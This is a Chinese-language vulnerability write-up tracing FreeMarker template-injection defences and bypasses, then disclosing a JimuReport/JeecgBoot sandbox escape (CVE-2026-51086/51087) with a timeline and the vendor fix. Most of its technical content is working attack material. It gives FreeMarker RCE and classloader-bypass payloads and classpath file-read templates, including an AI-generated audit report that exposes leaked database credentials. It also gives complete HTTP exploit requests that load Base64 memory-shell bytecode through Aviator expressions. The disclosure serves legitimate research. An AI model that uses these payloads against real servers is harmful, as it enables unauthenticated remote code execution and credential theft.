从FreeMarker攻防史到JeecgBoot沙箱逃逸RCE(CVE-2026-51086&51087)
本文是CVE-2023-4450的延伸,主要叙述从"回顾 FreeMarker 攻防史"到"利用暴露对象结合 Aviator 表达式进行 FreeMarker 沙箱逃逸",以及AI时代下漏洞挖掘的应用。
0x01 前言
在某次测试的时候,发现了一个模板注入漏洞。心想照着 FreeMarker SSTI 的老套路来不就完了?结果一动手就傻眼了——?new 被SAFER_RESOLVER 拦掉,?api 没开,内置对象该拦的都拦了,愣是找不到一个能用的 RCE 入口。既然传统套路走不通,于是在梳理 FreeMarker 攻防史的过程中结合 AI发现了一条文件读取的路径。但本着业余安全人员的原则,怎么能止步于文件读取呢?于是进一步审计 JimuReport报表模块,看看业务代码有没有帮倒忙的——有没有什么暴露到模板上下文的自定义方法。结果还真找到了。(以上内容纯属胡扯)
本文是CVE-2023-4450的延伸,主要叙述从"回顾 FreeMarker 攻防史"到"利用暴露对象结合 Aviator 表达式进行 FreeMarker 沙箱逃逸",以及AI时代下漏洞挖掘的应用。
0x02 FreeMarker 攻防史

从1999年末FreeMarker发布到现在,二十多年里攻防两端一直在较量。根据几个标志性的版本大致分为四个时期。
2.1 蛮荒时代(1999-2010 | v1.0 - v2.3.16):无原生防护
FreeMarker 早期基本没有安全设计,?new 内建函数可以直接实例化任意实现了 TemplateModel 接口的 Java 类。原生的三个危险类直接就能 RCE:
- freemarker.template.utility.Execute:直接执行系统命令
- freemarker.template.utility.ObjectConstructor:实例化任意 Java 类,构造 ProcessBuilder 执行命令
- freemarker.template.utility.JythonRuntime:执行 Python 代码实现命令执行
基础 Payload:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")官方组件无任何防护机制,安全完全依赖业务方自行控制模板编辑权限。
2.2 原生防护建设期(2010-2015 | v2.3.17 - v2.3.21)
2010 年 5 月发布的 v2.3.17 是 FreeMarker 安全史上的首个里程碑。官方引入了 TemplateClassResolver 类解析器机制,提供三种预定义解析器,首次实现对 ?new 函数的类加载限制:
- UNRESTRICTED_RESOLVER:无限制加载任意类(兼容旧版本)
- SAFER_RESOLVER:默认禁用 Execute、ObjectConstructor、JythonRuntime 三个原生危险类
- ALLOWS_NOTHING_RESOLVER:完全禁止任何类的实例化
同时开放 setNewBuiltinClassResolver 自定义接口,允许业务方实现个性化的类加载黑白名单。
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);(PS:关于SAFER_RESOLVER v2.3.17只禁用了ObjectConstructor,而Execute、JythonRuntime`仍然有效,v2.3.19则三个都被禁用)

但攻击者很快找到了两种绕过手法:
绕过方法一:寻找第三方 TemplateModel 实现类
SAFER_RESOLVER 只拦了原生三个危险类,没拦业务系统里其他实现了 TemplateModel 接口的类。只要找到一个类本身有危险行为,一样能 RCE。
需要实现 TemplateMethodModel:
public class FreemakerSSTI implements TemplateMethodModel {
@Override
public Object exec(List arguments) throws TemplateModelException {
String cmd = arguments.get(0).toString();
Runtime.getRuntime().exec(cmd);
return "Executed: " + cmd;
}
}对应的 Payload:
${"FreemakerSSTI"?new()("whoami")}绕过方法二:静态代码块
Java 类被加载时静态块会自动执行,而 ?new 在实例化前第一步是先把类加载进内存。所以即使你拿到对象啥也没做,静态代码块里的恶意代码已经跑完了。
public class Test {
static {
try {
System.out.println("静态代码块被触发,正在执行恶意命令");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}对应 Payload 就一行:
<#assign foo="Test"?new()>2.3 安全能力补全期(2015-2019 | v2.3.22 - v2.3.29)
2015 年 3 月发布的 v2.3.22 是 FreeMarker 安全体系的核心补全版本:
- 新增 ?api 内建函数,允许模板访问 Java 原生 API,但默认关闭(api_builtin_enabled=false),从根源上限制了反射型利用
- 新增 unsafeMethods.properties 危险方法黑名单,禁用 getClassLoader()、newInstance()、Class.forName()、Method.invoke() 等核心反射方法
- 2015 年末 FreeMarker 捐赠给 Apache 软件基金会,2018 年 3 月正式成为 Apache 顶级项目
但攻击者又找到了新的突破口:
getClassLoader() 黑名单绕过(< v2.3.30)
官方只禁用了 Class.getClassLoader(),但没限制 ProtectionDomain.getClassLoader():
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}
?api 开启场景的完整利用链
如果业务方开了 api_builtin_enabled=true,可以通过类加载器加载恶意类,结合 Gson/Jackson 的 fromJson 实例化 Execute,完全绕开 ?new 的限制:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("org.joychou.controller.ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}需要2.3.22之后,并且api_builtin_enabled=true(一直默认false);
任意文件读取 / SSRF
api_builtin_enabled为true
<#assign is=object?api.class.getResourceAsStream("/application.properties")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
api_builtin_enabled未开启(AI绕过SAFER_RESOLVER)
api_builtin_enabled为true可以使用网上公开的poc?api读取文件,未开启时使用以下payload
<#assign is=object.class.getResourceAsStream("/application.properties")>object.class.getResourceAsStream() 可读取 classpath 中的配置文件,配合 seq_contains 字节查表可以还原文件内容。
getResourceAsStream 完整 Payload:
<#assign is=object.class.getResourceAsStream('/application.properties')>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

AI绕过SAFER_RESOLVER
最终审计报告
一、SAFER_RESOLVER bypass 成功
通过 object.class.getResourceAsStream() + FreeMarker <#if seq_contains> + substring 字节查表,成功读取 classpath
中的配置文件内容。
泄露的敏感凭证:
- JDBC URL: jdbc:mysql://localhost:3306/javaseccode
- 数据库用户名: root
- 数据库密码: woshishujukumim
二、完整 PoC 模板
<#assign U='ABCDEFGHIJKLMNOPQRSTUVWXYZ'>
<#assign L='abcdefghijklmnopqrstuvwxyz'>
<#assign D='0123456789'>
<#assign RU=65..90><#assign RL=97..122><#assign RD=48..57>
<#assign is=object.class.getResourceAsStream('/application.properties')>
<#list [is.read(),is.read(),...] as b>
<#if RU?seq_contains(b)>${U?substring((b-65),(b-65+1))}</#if>
<#if RL?seq_contains(b)>${L?substring((b-97),(b-97+1))}</#if>
<#if RD?seq_contains(b)>${D?substring((b-48),(b-48+1))}</#if>
</#list>
原理: seq_contains 返回布尔值(不同于 >/>=/&& 返回数字),可以在 <#if> 中作为条件。通过 ..
范围语法创建字符码范围序列(U=65..90, L=97..122, D=48..57),逐字节判断所属范围后用 substring 映射到可读字符。
三、用户提供的两个向量验证结果
┌─────────────────────────────────────────────────────────┬───────────┬───────────────────────────────────────────┐
│ 向量 │ 状态 │ 原因 │
├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
│ object?api.class.getProtectionDomain().getClassLoader() │ ❌ 阻断 │ object?api 直接报错 │
│ │ │ api_builtin_enabled=false │
├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
│ URI.create() → URL.openConnection() │ ❌ 阻断 │ ?new 全局禁用;forName/getMethod 均被阻断 │
├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
│ object.class.getResourceAsStream() (新发现) │ ✅ │ 可读取 classpath │
│ │ 部分成功 │ 资源内容,但无法读取任意文件系统路径 │
└─────────────────────────────────────────────────────────┴───────────┴───────────────────────────────────────────┘
四、核心阻断机制确认
┌─────────────────────────────┬───────────────────────────┐
│ 阻断项 │ 状态 │
├─────────────────────────────┼───────────────────────────┤
│ object?api │ ❌ api_builtin=false │
├─────────────────────────────┼───────────────────────────┤
│ ClassModel.forName() │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ ClassModel.getClassLoader() │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ Method.invoke() │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ ?new 操作符 │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ > / >= 比较运算符 │ ❌ 返回数字(不兼容 #if) │
├─────────────────────────────┼───────────────────────────┤
│ < / <= / == 比较运算符 │ ✅ │
├─────────────────────────────┼───────────────────────────┤
│ seq_contains │ ✅ 返回布尔值 │
├─────────────────────────────┼───────────────────────────┤
│ substring │ ✅ │
├─────────────────────────────┼───────────────────────────┤
│ 65..90 范围序列 │ ✅ │
└─────────────────────────────┴───────────────────────────┘
五、结论
SAFER_RESOLVER 在此配置下成功阻止了 RCE 和任意文件读取,但通过 object.class.getResourceAsStream() 仍可读取 classpath
中配置文件的明文敏感信息(数据库凭证)。这属于 SSRF/信息泄露 风险。2.4 沙箱逃逸爆发期(2019-2021):BlackHat 引爆新战场
2019-2021 年,主流企业级系统(如 Liferay、VMware Workspace ONE)在 FreeMarker 原生防护基础上,构建了深度自定义的沙箱机制,传统通用利用链全面失效,攻防对抗从「绕过原生防护」进入「突破企业级定制沙箱」的新阶段。
企业级沙箱防护体系形成了多层防护架构:
- 自定义 ObjectWrapper:对模板访问的所有对象做递归类型校验,拉黑 java.lang.Class、ClassLoader、Runtime 等核心危险类
- 双重黑白名单校验:自定义 TemplateClassResolver,先黑名单拦截危险类,再白名单校验允许加载的类
- 暴露变量管控:通过 restrictedVariables 禁用危险内置对象
- 反序列化白名单:对 JSON/XML 反序列化做严格的类白名单限制
2020 年 BlackHat USA 议题《Room for Escape: Scribbling Outside the Lines of Template Security》(@pwntester & @Oleksandr Mirosh),彻底改变了 FreeMarker 的攻防格局。
核心发现:模板上下文默认暴露的内置对象本身就是沙箱允许的,通过这些对象的方法调用、属性获取,可以串联出类加载、任意方法调用、命令执行的能力,完全绕开原生防护和自定义沙箱。
比如 Liferay 默认暴露了 154 个内置对象,攻击者可以通过这些对象层层递进:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}

需满足 setExposeSpringMacroHelpers(true);
spring.freemarker.expose-spring-macro-helpers=true。
这波议题之后,模板注入、表达式注入利用方式进入多元化。
2.5 AI对TemplateMethodModel 实现类危险度分析
梳理FreeMarker 中实现了 TemplateMethodModel 接口的类。按照危险程度分类,未完全验证:
高危(可直接 RCE)
Source Class | exec() 行为 | SAFER_RESOLVER |
freemarker.template.utility.Execute | Runtime.getRuntime().exec(args[0]) | 不阻止 |
freemarker.ext.rhino.RhinoFunctionModel | Function.call() → Rhino JS引擎 RCE | 不阻止 |
freemarker.ext.jython.JythonModel | PyObject.call() → Python RCE | 不阻止 |
中危(类实例化 / 任意方法调用)
Source Class | exec() 行为 | SAFER_RESOLVER |
freemarker.template.utility.ObjectConstructor | BeansWrapper.newInstance() → 任意类实例化 | 已阻止 |
freemarker/ext/beans/OverloadedMethodModel | BeansWrapper.invokeMethod() → 任意方法调用 | 不阻止 |
freemarker/ext/beans/SimpleMethodModel | BeansWrapper.invokeMethod() → 任意方法调用 | 不阻止 |
低危/无害(其余 39 个)
包括 SimpleMapModel.exec()(Map.get(key))、MapModel.exec()(Map.get(key))、ResourceBundleModel.exec()(资源文件读取)等,均为安全的数据处理操作。
0x03 JeecgBoot漏洞挖掘
3.1 漏洞概述
字段 | 值 |
漏洞类型 | 服务端模板注入 (SSTI) / 远程代码执行 (RCE) |
影响产品 | JimuReport (jeecgboot) |
影响版本 | v1.6.0 <= JimuReport < 修复版本 |
CVSS v3.1 评分 | |
CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
JimuReport(集成于 jeecgboot)在 /jmreport/queryFieldBySql 端点存在服务端模板注入(SSTI)漏洞。攻击者可通过 FreeMarker 模板注入配合 Aviator 表达式执行来实现远程代码执行。
3.2 入口发现:模板注入点
回到审计现场。JeecgBoot 集成 JimuReport 报表模块,核心文件在 org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils,模板渲染的入口。
public static String a(String var0, Map<String, Object> var1) {
if (var0 == null) {
return null;
} else {
Configuration var2 = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
var2.setNumberFormat("#.#########");
var2.setSharedVariable("func", new FunctionMethod());
var1.put("jeecg", new FreemarkerMethod());
var1.put("isNotEmpty", new NotEmptyMethod());
var2.setClassicCompatible(true);
var2.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
StringWriter var3 = new StringWriter();
try {
a.debug("模板内容:{}", var0.toString());
(new Template("template", new StringReader(var0), var2)).process(var1, var3);
a.debug("模板解析结果:{}", var3.toString());
} catch (TemplateException var5) {
var5.printStackTrace();
} catch (IOException var6) {
var6.printStackTrace();
}
return var3.toString();
}
}关键发现:jeecg 这个变量被直接暴露到了模板上下文,类型是 FreemarkerMethod。
受影响端点:
- /jmreport/queryFieldBySql
- /jmreport/loadTableData等。
3.3 攻击链拆解
既然模板注入确认,下一步就是找 RCE 路径。SAFER_RESOLVER 把该拦的都拦了,?new 走不通。
于是审计暴露对像FreemarkerMethod 这个类本身——业务代码把它暴露到模板上下文,那它的实现有没有问题?
FreemarkerMethod.compute() 方法里,直接把用户输入传给了 AviatorEvaluator.execute():
Object var13 = AviatorEvaluator.execute(field, var8);这就是突破口。AviatorEvaluator.execute() 可以执行任意 Aviator 表达式。
攻击向量:
- 向 /jmreport/loadTableData 发送包含恶意 SQL 参数的 POST 请求
- SQL 参数包含 FreeMarker 模板表达式:${jeecg.compute(...)}
- 表达式调用 jeecg.compute() 并传入 Aviator 有效载荷
- Aviator 有效载荷使用 ReflectUtils.defineClass() 加载 Base64 编码的恶意字节码
- 内存马代码执行,实现 RCE
3.4 漏洞利用测试(PoC)
3.4.1 基础测试(版本/信息泄露)
本地测试代码:
map.put("jeecg", new FreemarkerMethod());
String poc = "${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.memshell.Poc', Base64Utils.decodeFromString('BASE64_PAYLOAD'), ClassLoader.getSystemClassLoader());\")}";
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration(DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);请求:
POST /jmreport/queryFieldBySql HTTP/1.1
Host: target:8080
Content-Type: application/json
{
"dbSource": "",
"sql": "${jeecg.compute([], {\"a\":10,\"b\":20}, \"a+b\")}",
"type":"0"
}预期响应:30
3.4.2 代码执行利用
完整利用请求:
POST /jmreport/queryFieldBySql HTTP/1.1
Host: target:8080
Content-Type: application/json;charset=UTF-8
{"sql":"${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass('org.jeecg.codegenerate.Poc',Base64.decodeBase64('BASE64_PAYLOAD'),ClassLoader.getSystemClassLoader(), nil,Class.forName('org.springframework.expression.ExpressionParser'));\")}","dbSource":"","type":"0"}3.5 版本兼容性
不同版本之间有差异,需要针对性调整:
JimuReport 版本 | Aviator 版本 | Base64 工具类 | 可利用性 |
2.1.3 及以下 | 5.2.6 | org.springframework.util.Base64Utils | 是 |
2.1.5 | - | Base64Utils 不存在 | 是 |
2.2.0 | - | - | 是 |
2.3.0+ | - | org.apache.commons.codec.binary.Base64 | 是 |
2.1.5 版本使用 org.springframework.util.Base64Utils 会报错找不到类:
需要改用 org.apache.commons.codec.binary.Base64.decodeBase64():
最终可用 Payload(v2.3.0+):
v2.3.0+ 有效载荷:
${jeecg.compute([], {"a":10,"b":20}, "use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass('org.jeecg.codegenerate.Poc',Base64.decodeBase64('BASE64_PAYLOAD'),ClassLoader.getSystemClassLoader(), nil,Class.forName('org.springframework.expression.ExpressionParser'));"}JDK 9+ 注意: 由于 named module 限制,可能需要添加 JVM 参数:
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED3.6 其他受影响端点
由于 /jmreport/loadTableData 端点同样存在 FreeMarker 注入漏洞,所以本次沙箱绕过也对该端点有效。
POST /jmreport/loadTableData HTTP/1.1
Host: target:8080
Content-Type: application/json
{"dbSource":"","sql":"${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.memshell.Poc', Base64Utils.decodeFromString('BASE64_PAYLAD'), ClassLoader.getSystemClassLoader());\")}","tableName":"aaaa);","pageNo":1,"pageSize":10}3.7 影响范围
- 机密性: 高 - 完全系统控制
- 完整性: 高 - 完全系统控制
- 可用性: 高 - 完全系统控制
- 攻击复杂度: 低 - 默认配置无需认证
攻击者可以完全控制受影响的服务器,执行任意系统命令,访问敏感数据,并可能危及整个基础设施。
0x04 漏洞本质与修复
4.1 漏洞本质
虽然FreeMarker 本身的安全机制(SAFER_RESOLVER、API 黑名单等)都正常工作,但业务代码自定义的 FreemarkerMethod.compute() 绕过了这些防护——它把用户输入传给了 Aviator 表达式引擎,而 Aviator 再串联 ReflectUtils.defineClass() 完成了 RCE。
这正是 BlackHat 2020 议题揭示的规律:模板或表达式安全问题往往出在业务代码暴露给模板的那些"合法"对象和方法上。
4.2 厂商修复
引入 SafeFreemarkerMethod,对表达式进行严格的白名单校验
public class SafeFreemarkerMethod {
private static final Pattern SAFE_EXPRESSION_PATTERN = Pattern.compile("^[0-9+\\-*/().\\s]+$");
public String safeCompute(Object value) {
if (value == null) return "";
String str = value.toString();
if (SAFE_EXPRESSION_PATTERN.matcher(str).matches()) {
return str;
} else {
CommonAPI.logError("Forbidden expression detected", new SecurityException("Forbidden expression"));
return "";
}
}
}详细修复方案参见:https://github.com/jeecgboot/jimureport/issues/4733
4.3 临时缓解措施
如果暂时无法升级,可以考虑:
- 禁用 JimuReport 模块(如业务不需要)
- 网络隔离:限制对 /jmreport/* 端点的访问
- WAF 规则:阻止包含 ${jeecg. 模式的请求
0x05 总结
攻防对抗永不停息。 从蛮荒时代的直接 RCE,到 SAFER_RESOLVER,到 API 黑名单,再到 BlackHat 揭示的根数据模型利用,每一代防护都堵死了一批利用路径,但攻击者总能找到新的入口。如同前段时间爆出的fastjosn漏洞一样,永远没有绝对安全的系统。
0x06 时间线
时间 | 事件 |
2026-04-07 | 发现漏洞 |
2026-04-14 | 联系厂商(https://github.com/jeecgboot/jimureport ) |
2026-07-22 | CVE-2026-51086、CVE-2026-51087 分配 |
2026-08-24 |
0x07 参考链接
- https://mp.weixin.qq.com/s/5MRWZOt7SVFn7F3hobCAfQ
- https://github.com/jeecgboot/jimureport/issues/4733
- FreeMarker Official Documentation
- BlackHat USA 2020 - Room for Escape
声明: 本文仅用于安全技术研究和学习,请勿用于非法用途。漏洞已报告厂商并处于修复过程中,建议相关用户关注官方更新。笔者安全业余人员,水平有限,文笔拙劣,不足之处欢迎师傅们指点和纠正,感激涕零。
关于作者:
aqyoung,专注代码审计与攻防实战研究,深耕 Web 漏洞挖掘与业务逻辑绕过场景,积极探索 LLM 安全应用;业余爱好爬山、游泳,保持技术探索与户外运动双向成长。
AI什么模型